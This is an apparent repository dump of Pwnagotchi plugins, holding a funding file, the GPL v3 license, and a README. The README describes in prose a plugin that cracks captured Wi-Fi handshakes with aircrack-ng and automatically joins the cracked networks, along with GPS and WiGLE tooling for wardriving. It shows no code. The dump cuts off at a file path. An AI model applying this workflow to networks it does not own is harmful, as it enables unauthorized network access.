[
  {
    "path": ".github/FUNDING.yml",
    "content": "# These are supported funding model platforms\n\npatreon: forrestsux\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.md",
    "content": "# pwnagotchi_plugins\nPwnagotchi Plugins and Things for Mayhem and Profit\n\nPlease don't break the law and/or use anything here to break the law. Laws vary, depending on location, so always be aware of what you're doing and where you're doing it. \n\n## quick_rides_to_jail/*\nAlmost certainly illegal, wherever you are, if not used for research purposes against your own equipment. It replaces quickdic.py, completing the pwn process by adding any cracked access points to wpa_supplicant's config (by BSSID) and restarting wpa_supplicant for the hardcoded interface, enabling automatic authentication when in range of a pwnd AP. This was the easiest solution I could come up with for authenticating to a wireless network, with cracked creds, when the network is in range. Managing all of that in one Python script would be a terrible multithreaded mess that would probably end up fighting against most OS's network management services for dominance. I wrote this in a mostly-default Raspbian build, on both a Raspi 3b+ and 4, and I can't remember if the pwnagotchi image has wpa_supplicant and some network manager running. One also needs a separate wireless interface if one expects to connect to pwnt AP's while still running the pwnagotchi. Since you're only using this on your own test infrastructure, you shouldn't have to worry about any malicious threats once you've authenticated to and joined your pwnt test infrastructure. Also not meant for skiddies.\n\nNow includes logic to re-crack uncracked captures, since the original plugin would only initiate cracking once, immediately after discovery. In a similar fashion to the Wigle plugin, I've added a status file (`/root/.aircracked_pcaps`) so that we aren't trying to crack the same things over and over. The aircrack-ng command is limited to 1 cpu core, to prevent the Pi from melting. I recommend using a small wordlist, of the most common passwords, so that cracking doesn't hold up normal operations too long. I also added more robust aircrack logic, so we start cracking pcap's that only contain PMKID and/or multiple handshakes (which would fail using the default plugin). I guess I'll remove the sketchy stuff and create a separate quickdic.py plugin...\n\n## quickdic/*\nA better quickdic, with less quick rides to jail. I just removed the quick_rides part so you don't accidently jail. Does the same Aircrack-ng logic. Completely untested.\n\n## wigle.py\nIt's the WiGLE module, but it actually works. It now combines all data into one Kismet CSV file, before uploading to WiGLE. I'm hoping to improve it, in the future, by adding logic to report all AP's, not just those with handshakes, and by adding support for other device information WiGLE can consume. Pull request denied, so this lives here now - there's more to life than fake internet points for free work. The original Wigle plugin isn't formatted correctly to work as a plugin; it's different from all of the other plugins because, I guess, it's still a work in progress. Meh. This one works and isn't cancer.\n\n## monstart/monstop\nNot mine, but also don't remember where I got them. Pretty sure they came from one of evilsocket's repo's or something they used to create their build environment. As their names imply, these scripts are used to start and stop an interface in monitor mode. The interface these scripts perform the operations on is hardcoded in each script. The interface name currently in both scripts should be changed to the name you want your monitor mode interface to have, based off an existing interface (e.g. wlan1mon because I have a wlan1). Added because I'm using raspbian and built everything, myself. \n\n## gsmfake\nReal shitty hacks to use the [Waveshare Raspberry Pi GSM/GPRS/GNSS Bluetooth Hat for SIM868](https://amazon.com/Raspberry-Bluetooth-Expansion-Compatible-DataTransfer/dp/B076CPX4NN) with gpsfake, to supply bettercap with better-than-nothing GPS coordinates from the GSM network. Use when stuck in and around glass/steel monoliths that eat GPS signals for breakfast. The provided coordinates are not only inaccurate because they come from second-hand means, but also because said means don't return elevation, so I put a hardcoded 100 in there because I don't know why. Really, I should focus on a more accurate 2d-fix over the 3d-fix, but I didn't. Requires the python gps modules (pip install gps) and pynmea2 for creating nice NMEA strings (pip install pynmea2). Make a backup of '/usr/lib/python2.7/dist-packages/gps/fake.py' and then replace it with the one provided (not totally necessary). Then run 'python prime_gsm_hat.py' to turn on the hat and start the GPRS data service. This only needs to be/should be run once per powering on of the hat. Next, run gsmfake.py using basic parameters used to start gpsfake: 'python gsmfake.py -P 2948 /root/fakegps.data'. Both fake.py and prime_gsm_hat.py have hardcoded paths to the Hat's serial IO, so keep that in mind. This will spit out a path like '/dev/pts/2' that you need to update bettercap with.\n\nI *think* everything is in a working state, but good luck if it's not. There are very few checks done and errors handled, so everything needs to work 100% perfect to get it running. Once it is running, gsmfake should spit out a special file path. Copy and paste this into bettercap's advanced GPS settings for or directly set 'gps.device' and restart the gps caplet.\n\nTODO: Figure out how to coalesce multiple GPS sources into a more accurate location, figure out how to replace 3d-fixes with 2d-fixes, and fix the Wiggle plugin, because that shit aint right.\n\n## notes_on_pwnagotchi_on_other_pis_and_raspbian.txt\nNotes on how I got things running on Pi 3 b+/Pi 4/Raspbian etc.\n\n## gps/*\nReplacements for bettercap's gps.go and pwnagotchi's gps.py to get it working with gpsd, for a more robust, multiplexed GPS experience. Bettercap will get GPS updates by polling gpsd, allowing other processes access to the GPS data; not just bettercap. Requires that you have gpsd installed and configured, as well as [Stratoberry's go-gpsd](github.com/stratoberry/go-gpsd). So install and configure gpsd, replace your `~/go/src/github.com/bettercap/bettercap/modules/gps/gps.go` with the Go script, replace `~/git/pwnagotchi-1.0.1/pwnagotchi/plugins/default/gps.py` with the Python script, modify your pwnagotchi config with the included config, change back to the bettercap directory, do a little `make build`, and replace your bettercap binary with the one you just built.\n\nThere's no clear benefit to using more than one GPS device, beyond testing antenna/signal strength (your receivers aren't magically more accurate). \n\n## event_multithreading_for_plugins/*\nI've added logic to multithread and queue events for plugins. It's been noted that the way pwnagotchi handles tasking events on the plugins causes everything to slow, depending on the collective speed of the plugins, because they were being processed serially. The `pwnagotchi/plugins/__init__.py` has been updated to create a thread-managed queue for each event type, for each plugin. When an event is processed on all plugins containing a function definition for the event, it gets added to the back of a queue for processing that specific type of event on a valid plugin, and then the thread will take care of executing the events in the order they came in. Moving forward, this should have little, if any, impact on my future development efforts because I fully expect evilsocket to put out their own multithreaded version soon, but I can't be bothered to follow arbitrary style guides for free. However, I'm not sure this will work on any future evilsocket pwnagotchi releases because I cannot predict what they will do. My pwnagotchi fork should contain all of the fixes/plugins/etc. here; I'll consider being an asshole in the future.  \n\n#### Coming soon\n* Comms over GSM/GPRS\n* That WPS shit everyone keeps talking about\n* OpenVPN and then TOR support for plugins/pieces that touch the internet.\n"
  },
  {
    "path": "event_multithreading_for_plugins/__init__.py",
